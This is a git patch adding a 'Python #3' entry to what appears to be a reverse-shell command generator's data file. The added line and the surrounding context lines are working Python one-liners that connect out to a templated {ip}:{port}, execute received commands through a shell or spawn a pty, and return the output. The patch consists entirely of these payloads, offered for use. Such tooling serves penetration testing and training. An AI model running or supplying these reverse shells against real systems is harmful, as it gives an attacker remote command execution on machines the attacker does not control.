From 81302a86d846c55239d1661d0fd14ee8cd30fcbb Mon Sep 17 00:00:00 2001 From: Pat Bautista Date: Sat, 14 Jun 2025 13:49:04 +0800 Subject: [PATCH] Added Python reverse shell for no TTY targets --- js/data.js | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/js/data.js b/js/data.js index 660a509..23e4bb4 100644 --- a/js/data.js +++ b/js/data.js @@ -251,6 +251,11 @@ const reverseShellCommands = withCommandType( "command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'", "meta": ["linux", "mac"] }, + { + "name": "Python #3", + "command": "python -c 'import socket,subprocess;s=socket.socket();s.connect((\"{ip}\",{port}));exec(\"while True:\\n cmd=s.recv(1024)\\n if not cmd: break\\n try:\\n out=subprocess.check_output(cmd,shell=True)\\n except Exception as e:\\n out=str(e).encode()\\n s.send(out)\")'", + "meta": ["linux", "mac"] + }, { "name": "Python3 #1", "command": "export RHOST=\"{ip}\";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'",